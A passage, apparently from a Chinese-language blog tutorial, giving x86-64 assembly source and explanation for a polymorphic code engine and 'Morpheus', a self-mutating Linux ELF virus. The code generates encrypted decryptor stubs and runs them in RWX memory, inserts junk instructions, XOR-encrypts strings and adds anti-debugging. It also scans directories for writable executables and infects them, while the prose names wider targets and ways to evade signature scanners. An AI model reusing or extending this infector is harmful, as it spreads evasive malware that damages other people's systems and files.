.usszz:
add rax, rdx ; engine position
; RIP-relative calculation
mov rbx, r15
add rbx, 7 ; after LEA instruction
sub rax, rbx
; lea rsi,[rip+offset]
mov al, 0x48
stosb
mov al, 0x8D
stosb
mov al, 0x35
stosb
stosd
; mov rcx,engine_size
mov al, 0x48
stosb
mov al, 0xC7
stosb
mov al, 0xC1
stosb
mov rax, [rel engine_size]
test rax, rax
jnz .engine_sz
mov rax, 512
.engine_sz:
cmp rax, 65536
jbe .size_ok
mov rax, 65536
.size_ok:
stosd
; mov rdx,stub_key
mov al, 0x48
stosb
mov al, 0xBA
stosb
mov rax, [rel stub_key]
stosq
; decryption loop
mov r14, rdi
; test rcx,rcx
mov al, 0x48
stosb
mov al, 0x85
stosb
mov al, 0xC9
stosb
; jz done
mov al, 0x74
stosb
mov al, 0x10
stosb
; xor [rsi],dl
mov al, 0x30
stosb
mov al, 0x16
stosb
; rol rdx,7
mov al, 0x48
stosb
mov al, 0xC1
stosb
mov al, 0xC2
stosb
mov al, 7
stosb
; inc rsi
mov al, 0x48
stosb
mov al, 0xFF
stosb
mov al, 0xC6
stosb
; dec rcx
mov al, 0x48
stosb
mov al, 0xFF
stosb
mov al, 0xC9
stosb
; jmp loop
mov al, 0xEB
stosb
mov rax, r14
sub rax, rdi
sub rax, 1
neg al
stosb
; copy to allocated memory
; mov rdi,rbx
mov al, 0x48
stosb
mov al, 0x89
stosb
mov al, 0xDF
stosb
; calculate engine position
mov rax, [rel p_entry]
mov rbx, [rel stub_sz]
add rax, rbx
; RIP-relative offset
mov rbx, rdi
add rbx, 7
sub rax, rbx
; lea rsi,[rip+offset]
mov al, 0x48
stosb
mov al, 0x8D
stosb
mov al, 0x35
stosb
stosd
; mov rcx,engine_size
mov al, 0x48
stosb
mov al, 0xC7
stosb
mov al, 0xC1
stosb
mov rax, [rel engine_size]
test rax, rax
jnz .engine_sz2
mov rax, 256
.engine_sz2:
stosd
; rep movsb
mov al, 0xF3
stosb
mov al, 0xA4
stosb
mov al, RET_OPCODE
stosb
ret
bf_boo:
push rbx
mov rax, rdi
sub rax, [rel p_entry]
add rax, 300
cmp rax, [rel sz]
pop rbx
ret
; generate runtime keys
gen_runtm:
push rbx
push rcx
rdtsc ; entropy from RDTSC
shl rdx, 32
or rax, rdx
xor rax, [rel key] ; mix with user key
mov rbx, rsp ; stack entropy
xor rax, rbx
call .get_rip ; RIP entropy
.get_rip:
pop rbx
xor rax, rbx
rol rax, 13
mov rbx, rax ; dynamic constant
ror rbx, 19
xor rbx, rsp
add rax, rbx
mov rbx, rax ; dynamic XOR
rol rbx, 7
not rbx
xor rax, rbx
mov [rel stub_key], rax
rol rax, 7 ; secondary key
mov rbx, 0xCAFE0F00
shl rbx, 32
or rbx, 0xDEADC0DE
xor rax, rbx
mov [rel sec_key], rax
mov rax, [rel stub_key] ; ensure different from user key
cmp rax, [rel key]
jne .keys_different
not rax
mov [rel stub_key], rax
.keys_different:
pop rcx
pop rbx
ret
; PRNG
next_random:
push rdx
mov rax, [rel seed]
mov rdx, rax
shl rdx, 13
xor rax, rdx
mov rdx, rax
shr rdx, 17
xor rax, rdx
mov rdx, rax
shl rdx, 5
xor rax, rdx
mov [rel seed], rax
pop rdx
ret
random_range:
push rdx
call next_random
pop rcx
test rcx, rcx
jz .range_zero
xor rdx, rdx
div rcx
mov rax, rdx
ret
.range_zero:
xor rax, rax
ret
; random boolean
yes_no:
call next_random
and rax, 0xF
cmp rax, 7
setbe al
movzx rax, al
ret
; select random registers
get_rr:
call next_random
and rax, 7
cmp al, REG_RSP
je get_rr
cmp al, REG_RAX ; avoid rax as base
je get_rr
mov [rel reg_base], al
.retry_count:
call next_random
and rax, 7
cmp al, REG_RSP
je .retry_count
cmp al, REG_RAX ; avoid rax as count
je .retry_count
cmp al, [rel reg_base]
je .retry_count
mov [rel reg_count], al
.retry_key:
call next_random
and rax, 7
cmp al, REG_RSP
je .retry_key
cmp al, [rel reg_base]
je .retry_key
cmp al, [rel reg_count]
je .retry_key
mov [rel reg_key], al
.retry_junk1:
call next_random
and rax, 15
cmp al, REG_RSP
je .retry_junk1
mov [rel junk_reg1], al
.retry_junk2:
call next_random
and rax, 15
cmp al, REG_RSP
je .retry_junk2
cmp al, [rel junk_reg1]
je .retry_junk2
mov [rel junk_reg2], al
.retry_junk3:
call next_random
and rax, 15
cmp al, REG_RSP
je .retry_junk3
cmp al, [rel junk_reg1]
je .retry_junk3
cmp al, [rel junk_reg2]
je .retry_junk3
mov [rel junk_reg3], al
ret
; select algorithm
set_al:
call next_random
and rax, 3
mov [rel alg0_dcr], al
ret
; generate prologue
gen_p:
call gen_jmp
call trash
call yes_no
test rax, rax
jz .skip_trash1
call trash
.skip_trash1:
; mov reg_key,key
call gen_jmp
mov al, 0x48
stosb
mov al, 0xB8
add al, [rel reg_key]
stosb
mov byte [rel prolog_set], 1
mov rax, [rel key]
stosq
call yes_no
test rax, rax
jz .skip_trash2
call trash
.skip_trash2:
ret
; generate decrypt loop
gen_dec:
mov [rel jmp_back], rdi
call trash
call gen_jmp
; mov reg_base,rdi (data pointer)
mov al, 0x48
stosb
mov al, 0x89
stosb
mov al, 0xF8
add al, [rel reg_base]
stosb
call trash
call gen_jmp
; mov reg_count,rsi (size)
mov al, 0x48
stosb
mov al, 0x89
stosb
mov al, 0xF0
add al, [rel reg_count]
stosb
call trash
call gen_jmp
.decr_loop:
movzx rax, byte [rel alg0_dcr]
cmp al, 0
je .gen_algo_0
cmp al, 1
je .gen_algo_1
cmp al, 2
je .gen_algo_2
jmp .gen_algo_3
.gen_algo_0:
; add/rol/xor
call gen_add_mem_key
call trash
call gen_trash
call gen_rol_mem_16
call trash
call gen_trash
call gen_xor_mem_key
jmp .gen_loop_end
.gen_algo_1:
; xor/rol/xor
call gen_xor_mem_key
call trash
call gen_trash
call gen_rol_mem_16
call trash
call gen_trash
call gen_xor_mem_key
jmp .gen_loop_end
.gen_algo_2:
; sub/ror/xor
call gen_sub_mem_key
call trash
call gen_trash
call gen_ror_mem_16
call trash
call gen_trash
call gen_xor_mem_key
jmp .gen_loop_end
.gen_algo_3:
; xor/add/xor
call gen_xor_mem_key
call trash
call gen_trash
call gen_add_mem_key
call trash
call gen_trash
call gen_xor_mem_key
.gen_loop_end:
call trash
call gen_jmp
mov al, ADD_REG_IMM8
stosb
mov al, 0xC0
add al, [rel reg_base]
stosb
mov al, 8
stosb
call trash
call gen_jmp
; generate DEC instruction
movzx rax, byte [rel reg_count]
cmp al, 8
jb .dec_no_rex
mov al, 0x49 ; rex.wb for r8-r15
stosb
movzx rax, byte [rel reg_count]
sub al, 8
jmp .dec_encode
.dec_no_rex:
mov al, 0x48 ; rex.w for rax-rdi
stosb
movzx rax, byte [rel reg_count]
.dec_encode:
mov ah, 0xFF
xchg al, ah
stosw
mov al, 0xC8
add al, [rel reg_count]
and al, 7
stosb
mov al, TEST_REG_REG
stosb
mov al, [rel reg_count]
shl al, 3
add al, [rel reg_count]
add al, 0xC0
stosb
mov ax, JNZ_LONG
stosw
mov rax, [rel jmp_back]
sub rax, rdi
sub rax, 4
neg eax
stosd
ret
; algorithm generators
gen_add_mem_key:
call gen_jmp
mov al, ADD_MEM_REG
stosb
mov dl, [rel reg_key]
shl dl, 3
mov al, [rel reg_base]
add al, dl
stosb
ret
gen_sub_mem_key:
call gen_jmp
mov al, 0x48
stosb
mov al, 0x29
stosb
mov dl, [rel reg_key]
shl dl, 3
mov al, [rel reg_base]
add al, dl
stosb
ret
gen_xor_mem_key:
call gen_jmp
mov ax, XOR_MEM_REG
mov dl, [rel reg_key]
shl dl, 3
mov ah, [rel reg_base]
add ah, dl
stosw
ret
gen_rol_mem_16:
call gen_jmp
mov al, 0x48
stosb
mov ax, ROL_MEM_IMM
add ah, [rel reg_base]
stosw
mov al, 16
stosb
ret
gen_ror_mem_16:
call gen_jmp
mov al, 0x48
stosb
mov al, 0xC1
stosb
mov al, 0x08
add al, [rel reg_base]
stosb
mov al, 16
stosb
ret
; basic junk
trash:
call yes_no
test rax, rax
jz .skip_push_pop
movzx rax, byte [rel junk_reg1] ; push/pop junk
cmp al, 8
jb .push_no_rex
mov al, 0x41
stosb
movzx rax, byte [rel junk_reg1]
sub al, 8
.push_no_rex:
add al, PUSH_REG
stosb
movzx rax, byte [rel junk_reg2]
cmp al, 8
jb .pop_no_rex
mov al, 0x41
stosb
movzx rax, byte [rel junk_reg2]
sub al, 8
.pop_no_rex:
add al, POP_REG
stosb
.skip_push_pop:
call gen_jmp
ret
; jumps
gen_jmp:
call yes_no
test rax, rax
jz .short_jmp
mov al, JMP_REL32
stosb
mov eax, 1
stosd
call next_random
and al, 0xFF
stosb
jmp .jmp_exit
.short_jmp:
mov al, JMP_SHORT
stosb
mov al, 1
stosb
call next_random
and al, 0xFF
stosb
.jmp_exit:
ret
; self-modifying junk
gen_self:
mov al, CALL_REL32
stosb
mov eax, 3
stosd
mov al, JMP_REL32
stosb
mov ax, 0x04EB
stosw
call next_random
and rax, 2
lea rdx, [rel junk_reg1]
movzx rdx, byte [rdx + rax]
mov al, POP_REG
add al, dl
stosb
mov al, 0x48
stosb
mov al, 0xFF
stosb
mov al, 0xC0
add al, dl
stosb
mov al, PUSH_REG
add al, dl
stosb
mov al, RET_OPCODE
stosb
ret
; advanced junk procedures
gen_trash:
call yes_no
test rax, rax
jz .try_proc2
mov al, CALL_REL32
stosb
mov eax, 2
stosd
mov ax, 0x07EB
stosw
mov al, 0x55
stosb
mov al, 0x48
stosb
mov al, 0x89
stosb
mov al, 0xE5
stosb
mov ax, FNINIT_OPCODE
stosw
mov al, 0x5D
stosb
mov al, RET_OPCODE
stosb
jmp .exit_trash
.try_proc2:
call yes_no
test rax, rax
jz .try_proc3
mov al, CALL_REL32
stosb
mov eax, 2
stosd
mov ax, 0x0AEB
stosw
mov al, 0x60
stosb
mov eax, 0xD12BC333
stosd
mov eax, 0x6193C38B
stosd
mov al, 0x61
stosb
mov al, RET_OPCODE
stosb
jmp .exit_trash
.try_proc3:
call yes_no
test rax, rax
jz .exit_trash
mov al, CALL_REL32
stosb
mov eax, 2
stosd
mov eax, 0x525010EB
stosd
mov ax, 0xC069
stosw
mov eax, 0x90
stosd
mov al, 0x2D
stosb
mov eax, 0xDEADC0DE
stosd
mov ax, 0x585A
stosw
mov al, RET_OPCODE
stosb
.exit_trash:
ret
; dummy procedures
gen_dummy:
call yes_no
test rax, rax
jz .skip_dummy
mov al, CALL_REL32
stosb
mov eax, 15
stosd
mov al, 0x48
stosb
mov al, TEST_REG_REG
stosb
mov al, 0xC0
stosb
mov al, JZ_SHORT
stosb
mov al, 8
stosb
mov al, 0x55
stosb
mov al, 0x48
stosb
mov al, 0x89
stosb
mov al, 0xE5
stosb
mov ax, FNINIT_OPCODE
stosw
mov ax, FNOP_OPCODE
stosw
call next_random
and rax, 0xFF
mov al, 0x48
stosb
mov al, 0xB8
stosb
stosq
mov al, 0x5D
stosb
mov al, RET_OPCODE
stosb
.skip_dummy:
ret
; execute generated stub
exec_c:
push rbp
mov rbp, rsp
sub rsp, 32
push rbx
push r12
push r13
push r14
push r15
mov r12, rdi ; stub code
mov r13, rsi ; stub size
mov r14, rdx ; payload data
; validate input
test r12, r12
jz .error
test r13, r13
jz .error
cmp r13, 1
jb .error
cmp r13, 65536
ja .error
mov rax, 9 ; mmap
mov rdi, 0
mov rsi, r13
add rsi, 4096 ; padding
mov rdx, 0x7 ; rwx
mov r10, 0x22 ; private|anon
mov r8, -1
mov r9, 0
syscall
cmp rax, -1
je .error
test rax, rax
jz .error
mov rbx, rax
; copy stub to executable memory
mov rdi, rbx
mov rsi, r12
mov rcx, r13
rep movsb
; execute stub
cmp rbx, 0x1000
jb .error
call rbx
; cleanup
mov rax, 11 ; munmap
mov rdi, rbx
mov rsi, r13
add rsi, 4096
syscall
mov rax, 1 ; success
jmp .done
.error:
xor rax, rax
.done:
pop r15
pop r14
pop r13
pop r12
pop rbx
add rsp, 32
pop rbp
ret
— 当前还缺什么 —
目前它严格限定在 Linux x64,原因是直接 syscall 依赖:mmap的使用方式是为 Linux 定制的,寄存器约定也绑定 x64。要移植到 Windows,需要适配调用约定,并且很可能要重写一大块引擎逻辑。macOS 也有自己的一套 syscall 编号和内存保护细节,所以同样不是直接替换就能跑。
算法集被刻意限制为四个变体。这个规模足够证明概念,又不至于让系统过于复杂或脆弱。扩展到几十种等价变体当然可行,但会显著提高引入 bug 的概率,也要求在复杂度与正确性之间精细权衡。
当前没有运行时重编译机制:每个变体生成一次后,在执行期保持静态。自修改变体确实能进一步提高规避能力,但会引入不稳定性,并显著增加实现成本。
后续方向可以包括:
- 增加 syscall 抽象层,实现真正的跨平台支持(Linux、Windows、macOS)。
- 扩展算法集,并改进加密与混淆(我们现在这块做得很糙)。
- 构建支持自修改 payload 的动态重写引擎。
即便以当前形态,它也已经达到核心目标:功能正确性、深度签名多样性、熵驱动密钥生成、智能垃圾注入,以及多层多态结构。实现细节可以变化,但这些基础原则是稳定的。
这是一个基础型多态引擎,设计上就追求“够用而清晰”。你可以先拿它理解核心技术,再自己往上构建。只要吃透这些层次熵、混淆、指令编码,你就可以把它带到任何方向。
什么让代码_真正_具备变异性
变形代码不仅仅是混淆,它会重写自己。每次执行时,它会解析自身二进制,定位可变换区域,再替换为语义等价但语法不同的指令序列。
举个简单任务:把寄存器清零。你可以用 XOR RAX, RAX、SUB RAX, RAX、MOV RAX, 0,甚至 PUSH 0; POP RAX。效果相同,opcode 不同。对静态扫描器来说,这些往往互不相关。
变形引擎会利用这一点,维护一份指令级替换目录。每轮迭代都应用随机化变换:寄存器重命名、在安全前提下重排指令、插入垃圾代码、重构控制流。逻辑不变,但布局持续变化。
再加上复制传播。每个被感染二进制都会带着“父代”变异,再叠加感染时新生成的变异。时间一长,就会形成一组在功能上等价、结构上各异的样本。没有固定签名,没有稳定模式,只有 opcode 层面的持续进化。这也是它被称为汇编天堂的原因。
经典参考: MetaPHOR
2002 年有一篇非常扎实的文章,拆解了变形引擎的结构:The Mental Driller的 “How I made MetaPHOR and what I’ve learnt”。没错,2002 年。放到今天确实古早,但核心原理依旧很有冲击力。现代系统上需要做一些适配,不过底层机制仍然稳固。
多态强调的是伪装:调整解密器、包裹 payload、保持核心静态。变形则抛掉外壳,直接改内部。它会反汇编完整代码块、从头重写,再重新组装二进制,带来新的逻辑布局、变化的控制流和移位后的指令模式。每次落地都长得不一样。
这不是改改寄存器名、撒几条 NOP 就完事。它是全代码级变异,是深层结构翻搅,不给静态指纹留下稳定锚点。
— 反汇编与收缩 —
要做变异,Vx(病毒)首先得把自己反汇编成内部伪汇编格式,也就是一层自定义抽象,让原始 opcode 变得可读、可变换。它会拆开自身指令流,解码 jmp、call和条件分支,再把控制流映射到可管理的数据结构中。
完成反汇编后,代码会被写入内存缓冲区。随后构建跳转目标、调用目的地等关键控制元素的指针表,确保重写过程中不会把控制关系弄坏。
下一步是 shrinker。这个阶段会扫描臃肿指令序列,并压缩成最小等价形式,例如:
| 原始指令 | 压缩后指令 | 说明 |
| — | — | — |
| MOV reg, reg | NOP | 无效果的死操作 |
| XOR reg, reg | MOV reg, 0 | 把寄存器清零 |
shrinker 的职责就是去脂。它遍历反汇编后的代码,折叠前序阶段遗留的冗长链路。目标是:收紧二进制、清理冗余、为新一轮变异腾出空间。
-
MOV addr, reg+
PUSH addr>PUSH reg -
MOV addr2, addr1+
MOV addr3, addr2>MOV addr3, addr1 -
MOV reg, val+
ADD reg, reg2>LEA reg, [reg2 + val]
一旦命中模式,就替换为压缩形式,再用 NOP清掉残余。清理、压实,然后继续进入下一轮变异。
— 置换与扩展 —
shrinker 完成后,就轮到 permutator 上场。它的任务是洗牌:重排指令、注入熵值,在保持逻辑不变的同时让布局不可预测。每一轮都会进一步切断可追踪的模式痕迹。
它不只做重排。permutator 还会替换等价指令:结果相同、操作不同。你已经懂这个套路了。
举例来说,PUSH/POP的寄存器使用会被随机化。本轮用 RCX,下轮可能换成 R8或 RDX。行为一致,指纹却完全不同。结果就是:新的寄存器模式、全新的指令流、每一轮都不重复。
在这个阶段,代码可能会把 PUSH reg换成另一种 POP组合,同时翻转寄存器使用关系。这些都属于“洗牌”过程的一部分。
接着是 expander,也就是反 shrinker。它不做压缩,而是把单条指令扩展成等价的双指令或三指令序列。递归式扩展会持续提高代码复杂度,确保 Vx 的任意两代外观都不会一样。寄存器集合也会再次被打乱,进一步叠加输出多样性。
控制变量会在这里介入,用硬上限防止代码无限膨胀。没有这些约束,每次迭代都可能让体积翻倍,结果会很糟。
最后由 assembler收尾。它把变异后的代码重新拼回合法机器码:重对齐跳转、修复调用偏移、补齐指令长度。前面被打乱的寄存器关系也会在这里被统一解算,确保二进制仍可稳定运行。
完成这些后,流程才算闭环:Vx 变成了结构唯一、功能完整的新变体。payload 不变,外形全新。
— 代际生成 —
你已经看到我们在多态里是怎么做的:注入垃圾代码、替换寄存器。变形的思路类似,但重写深度更高。比如识别出特定垃圾序列(如 PUSH后跟 POP)后,我们会把它替换为功能等价但结构不同的代码。
在多态里,我们的循环是扫描二进制模式并插入垃圾;到了变形,这个循环会升级,不仅替换指令,还会改写整块代码。我们会拆解 Vx 的 .text段,分析指令,再替换成其他实现,同时保持 Vx 总体行为不变。
当 Vx 在内存中完成自重写后,它会把新变体写回磁盘。每次执行都会产出一个“新拷贝”:包含随机垃圾代码和重写后的逻辑。这不只是表面变化,底层指令会被重排、扩展或压缩,导致静态检测几乎无法跟上节奏。
是不是很熟悉?
vx-junk-disasm
看到这些 JUNK宏调用了吗?它们是随机散落的。每一个都是标记点,是可命中修改的挂钩位。Smart Trash,故意无用,专门干扰反汇编器和扫描器。
我们用一个专门的扫描函数处理它。它会遍历代码,寻找同寄存器的 PUSH/POP模式(两者间隔 8 字节),并把命中位置标记出来。被标记后,这些垃圾段会被随机、无害的替代序列覆盖。新垃圾,同目的:干扰一切静态阅读。
它会逐条解析指令,检查是否命中已知垃圾模式;命中就返回长度,不命中就退出。这让变异循环知道“该改哪里、该放过哪里”。
这个循环是核心。它会猎取 JUNK序列,并在每次运行时替换为新的随机指令链。于是每次 Vx 执行,旧垃圾都会被清掉,新噪声取而代之。每个 JUNK调用都标记了一个可修改插槽,相当于按代次变异的沙箱代码区。行为无害,结构混沌。
变异完成后,Vx 会复制传播,把新副本写进同目录发现的可执行文件。这个副本结构已变、行为不变。真正的多态/变形恶意代码不在于“骗过 AV 一次”,而在于持续变形,每次“呼吸”都重塑二进制。只要逻辑不坏、结构持续变化,静态检测就很难站住脚。
这只是最低可行集合,只覆盖关键机制。它展示了让 Vx 代码变形并生存的核心路径。更深内容还有很多,但这就是地基。
说够了。还记得我和 Veil64一起提到的那份代码吗?现在就是它出场的时候。
Morpheus把变形原则应用到了一个真实可运行的病毒感染器里。这不是理论演示,而是可落地实践。它展示了在不依赖加密器或壳的前提下,变异引擎如何端到端工作。
核心思路很简单:Morpheus 把自己的可执行代码,当作 crypter 看待 payload 的方式来处理。它把自身加载进内存,扫描已知模式,应用变换,然后写出一个变异版本,用不同指令序列完成同样任务。
Morpheus 每次运行时大致会做这些事:
提取混淆字符串,执行既定逻辑并加载自己的 .text段,反汇编代码块,识别变异点(NOP、垃圾模式、MOV/XOR这类简单操作),然后应用变换(寄存器洗牌、指令替换、代码块重排或扩展),生成结构不同但逻辑一致的代码,再把变异后二进制写入新目标(通常是同目录 ELF),并按需修补头部保证可执行。
每一代二进制都是真正不同的,不只是加点垃圾和寄存器替换,而是实质性结构变化。同时 payload 和功能保持完整。这让 Morpheus 能在每次执行时自我再生,静态签名检测因此变得不可靠。再加上变换发生在运行时,且会重写磁盘上的真实文件,传统扫描方法很难稳定追踪。
垃圾代码一直是平衡艺术。你希望注入“什么都不做”的指令,但它们不能看起来像“什么都不做”。随机 NOP太显眼,会在静态分析里直接暴露意图。像 ADD EAX, 0、SUB EBX, 0这类伪算术也一样,不改变状态,噪声感很重。
在 Veil64里,我们用的是较基础的垃圾填充,行为接近 NOP。当时能起到规避作用,但不够隐蔽。
下面这段 10 字节序列:
PUSH RAX ; 0x50
PUSH RBX ; 0x53
XCHG RAX, RBX ; 0x48 0x87 0xC3
XCHG RAX, RBX ; 0x48 0x87 0xC3
POP RBX ; 0x5B
POP RAX ; 0x58
净效果是什么?完全没有。状态不变、内存不触碰、标志位不改变。RAX 和 RBX 最后会回到起始值。但从静态分析视角,它很容易被误判为编译器生成的寄存器保护代码,比如围绕调用点插入的片段,或某种内联优化遗留物。
Morpheus 大量使用这类序列。JUNK宏会给这些区块打标,每次执行时引擎都会扫描并替换为结构不同但功能等价的垃圾模式。目标不只是混淆,而是“看起来合理”的混淆:不过分扎眼,却能持续制造代际差异。
我们为 smart junk 模式实现了四组寄存器组合。每个变体遵循同一逻辑:压入两个寄存器、交换两次、反向弹出;但使用不同寄存器对,从而生成独特字节序列。
-
变体 0
: RAX / RBX
操作码:
0x50, 0x53, 0x48, 0x87, 0xC3, 0x48, 0x87, 0xC3, 0x5B, 0x58 -
变体 1
: RCX / RDX
操作码:
0x51, 0x52, 0x48, 0x87, 0xCA, 0x48, 0x87, 0xCA, 0x5A, 0x59 -
变体 2
: RAX / RCX
操作码:
0x50, 0x51, 0x48, 0x87, 0xC1, 0x48, 0x87, 0xC1, 0x59, 0x58 -
变体 3
: RBX / RDX
操作码:
0x53, 0x52, 0x48, 0x87, 0xD3, 0x48, 0x87, 0xD3, 0x5A, 0x5B
差异主要来自 XCHG指令的 ModR/M 字节,它负责编码寄存器对。
RAX/RBX
0xC3
RCX/RDX
0xCA
RAX/RCX
0xC1
RBX/RDX
0xD3
在功能上,这些变体完全等价,零副作用;但二进制签名会彻底变化。这就是核心:行为不变,结构多样。
junk:
mov r8, [codelen] ; Total code size
mov r9, code ; Code buffer pointer
xor r12, r12 ; Current offset
.scan_loop:
cmp r12, r8
jae .done
; Check for PUSH instruction (0x50-0x53 range)
movzx eax, byte [r9 + r12]
cmp al, PUSH
jb .next_i
cmp al, PUSH + 3 ; Only RAX,RBX,RCX,RDX
ja .next_i
; Verify second byte is also PUSH
movzx ebx, byte [r9 + r12 + 1]
cmp bl, PUSH
jb .next_i
cmp bl, PUSH + 3
ja .next_i
; Check REX.W prefix at offset +2
cmp byte [r9 + r12 + 2], REX_W
jne .next_i
; Check XCHG opcode at offset +3
cmp byte [r9 + r12 + 3], XCHG_OP
jne .next_i
; Full pattern validation
call validate
test eax, eax
jz .next_i
; Replace with new variant
call insert
扫描器通过匹配固定字节模式来识别已知垃圾结构。它不做完整反汇编或通用指令解码,只做精确 opcode 序列匹配。对于预定义垃圾变体来说,这种方法足够快、足够直接,也足够可靠。
另外,这层校验还能防止误改合法代码。即便某段正常逻辑恰好以 PUSH 开头,只要不是完整且格式正确的垃圾模式,就不会被替换。
validate:
; Extract register numbers from PUSH opcodes
movzx eax, byte [r9 + r12]
sub al, PUSH ; Convert to register number (0-3)
mov bl, al ; First register
movzx eax, byte [r9 + r12 + 1]
sub al, PUSH
mov cl, al ; Second register
; Registers must be different
cmp bl, cl
je .invalid
; reversed
movzx eax, byte [r9 + r12 + 8]
sub al, POP
cmp al, cl ; Should match second register
jne .invalid
movzx eax, byte [r9 + r12 + 9]
sub al, POP
cmp al, bl ; Should match first register
jne .invalid
mov eax, 1 ; Pattern validated
ret
这部分同样很重要:无论是 payload 还是其他数据,你都需要某种加密。在我们的实现里,我们把所有字符串都加密,以规避静态签名检测。站在逆向者视角,拿到未知二进制时第一步往往就是看字符串,它们会泄露很多信息,所以最好先把它们藏起来。
当然,加密字符串也会有特征,因为它们常看起来像随机数据块,所以不要过度设计。我采用的是简单 XOR 方案:每个字符串分配独立 key,解密时再 XOR 一次即可。为什么选 XOR?因为快。
keys db 0xAA, 0x55, 0xCC, 0x33, 0xFF, 0x88, 0x77
; and then :
; rdi=encrypted, rsi=output, rdx=length, rcx=key_index
d_str:
mov r8, keys
add r8, rcx ; Point to selected key
mov al, [r8] ; Load key byte
mov rcx, rdx ; Use length as counter
.d_loop:
test rcx, rcx
jz .d_done
mov bl, [rdi] ; Load encrypted byte
xor bl, al ; XOR with key
mov [rsi], bl ; Store decrypted byte
inc rdi
inc rsi
dec rcx
jmp .d_loop
解密会在启动时执行一次,在此之前字符串都以加密状态存在于静态二进制中。通常流程是先解密字符串,再进入变异与感染。为了再加一点阻力,我加了一个常用反调试技巧:INT3 Trap Shellcode。它会插入断点中断(INT3),扰乱调试器流程,让静态分析更头疼。把这些 INT3点缀进 shellcode 后,单步分析会被频繁打断。
如果你想反过来误导逆向者呢?比如用假操作替换真操作,让调试器“以为”程序在做合理工作。比如一旦检测到调试器,我就只打印一段猫咪 ASCII 艺术,然后什么都不做。
不过,单靠 ptrace做反调试并不稳。它在导入表里很容易被看出来,绕过也很简单,归根结底它只是一次函数调用。
所以……
— 感染 —
在感染阶段,我们会扫描目录寻找 ELF 二进制。为什么只扫当前目录?很简单,这不是真实恶意软件。你当然可以打 $HOME、$HOME/bin、/usr/local/bin,或任何符合目标的路径,取决于你的投放目标和范围。
如果要越出用户作用域,你显然需要 root。想玩更高级的,可以上 LD_PRELOAD,去 hook 常见入口。不过我这里保持简单:只感染同目录二进制,也就是我自己的沙箱。我的样本,我的规则。
扫描器会做几项基本校验,过滤垃圾文件,只保留可行 ELF 可执行目标:
文件类型:必须是普通文件(跳过符号链接、目录、设备文件)
文件名:忽略点文件,不去碰配置或隐藏垃圾
格式校验:验证 ELF 魔数(
0x7F 45 4C 46)、64 位、类型为可执行权限:必须同时具备可执行与可写权限,不能运行或不能打补丁的直接排除
这样能让感染循环保持聚焦和干净,只命中那些确实可修改、可启动的二进制。
list: ; Directory scanning function
mov rdi, current_dir ; "./"
mov rsi, O_RDONLY
call sys_open
mov r12, rax ; Save directory fd
.list_loop:
mov rdi, r12
mov rsi, dir_buf ; 4KB buffer
mov rdx, 4096
call sys_getdents64 ; Read directory entries
cmp rax, 0
je .prop_done ; No more entries
; Process each directory entry
.list_entry:
; Check file type (offset 18 in dirent structure)
mov r8, rdi
add r8, 18
mov cl, [r8]
cmp cl, 8 ; DT_REG (regular file)
jne .prop_skip_entry
; Skip hidden files starting with '.'
cmp byte [rdi + 19], '.' ; Filename starts at offset 19
je .prop_skip_entry
; Validate ELF format
push rdi
add rdi, 19 ; Point to filename
call is_valid_elf
pop rdi
test rax, rax
jz .skip_entry
; Check executable permissions
push rdi
add rdi, 19
mov rsi, X_OK
call sys_access
pop rdi
cmp rax, 0
jne .skip_entry
; Infect the target
push rdi
add rdi, 19
call implant
pop rdi
这一步校验能避免把东西搞坏:损坏二进制、错误架构、无法执行的文件都会被排除。目标通过全部检查后才会进入感染流程。写补丁前会先落一个 .morph8前缀的隐藏备份,用于保留原始文件。
在任何覆盖写入前,它都会创建一个 .morph8前缀的隐藏备份。若该备份已存在,就跳过感染,这基本等于一个“已变形”标记。这样可以避免重复感染,让每个目标在每一代只被干净地变异一次。
这也给后续逻辑留下空间:必要时可以再次处理或再变异。不过 Morpheus 有意默认单次处理,除非被显式触发。这样既保持稳定,又能引入足够的变异深度。
— Morpheus 引擎 —
;;
;; M O R P H E U S [ polymorphic ELF infector ]
;; ------------------------------------------------
;; stealth // mutation // syscall-only // junked //
;; ------------------------------------------------
;; 0xBADC0DE // .morph8 // Linux x86_64 // 0xf00sec
;;
%define PUSH 0x50
%define POP 0x58
%define MOV 0xB8
%define NOP 0x90
%define REX_W 0x48
%define XCHG_OP 0x87
%define XCHG_BASE 0xC0
%define ADD_OP 0x01
%define AND_OP 0x21
%define XOR_OP 0x31
%define OR_OP 0x09
%define SBB_OP 0x19
%define SUB_OP 0x29
%define JUNKLEN 10
; push rax,rbx; xchg rax,rbx; xchg rax,rbx; pop rbx,rax
%macro JUNK 0
db 0x50, 0x53, 0x48, 0x87, 0xC3, 0x48, 0x87, 0xC3, 0x5B, 0x58
%endmacro
section .data
; ELF header
ELF_MAGIC dd 0x464C457F
ELF_CLASS64 equ 2
ELF_DATA2LSB equ 1
ELF_VERSION equ 1
ELF_OSABI_SYSV equ 0
ET_EXEC equ 2
ET_DYN equ 3
EM_X86_64 equ 62
prefixes db ADD_OP, AND_OP, XOR_OP, OR_OP, SBB_OP, SUB_OP, 0
bin_name times 256 db 0
orig_exec_name times 256 db 0
msg_cat db " /\_/\ ",10
db "( o.o )",10
db " > ^ <",10,0 ; payload
current_dir db "./",0
; encrypted strings
cmhd db 0x36, 0x3D, 0x38, 0x3A, 0x31, 0x75, 0x7E, 0x2D, 0x75, 0x70, 0x26, 0x55 ; "chmod +x %s"
tchh db 0xAF, 0xA4, 0xA1, 0xA3, 0xA8, 0xEC, 0xE7, 0xB4, 0xEC, 0xE9, 0xBF, 0xCC ; "chmod +x %s"
touc db 0xDE, 0xC5, 0xDF, 0xC9, 0xC2, 0x8A, 0x8F, 0xD9, 0xAA ; "touch %s"
cpcm db 0x9C, 0x8F, 0xDF, 0xDA, 0x8C, 0xDF, 0xDA, 0x8C, 0xFF ; "cp %s %s"
hidd db 0x59, 0x1A, 0x18, 0x05, 0x07, 0x1F, 0x4F, 0x77 ; ".morph8"
exec db 0x1D, 0x1C, 0x16, 0x40, 0x33 ; "./%s"
vxxe db 0xFE, 0xF0, 0xF0, 0x88 ; "vxx"
xor_keys db 0xAA, 0x55, 0xCC, 0x33, 0xFF, 0x88, 0x77
vierge_val db 1 ; first generation marker
signme dd 0xF00C0DE ; PRNG seed
section .bss
code resb 65536 ; viral body
codelen resq 1
vierge resb 1 ; generation flag
dir_buf resb 4096
temp_buf resb 1024
elf_header resb 64
; runtime decrypted strings
touch_cmd_fmt resb 32
chmod_cmd_fmt resb 32
touch_chmod_fmt resb 32
exec_cmd_fmt resb 32
cp_cmd_fmt resb 32
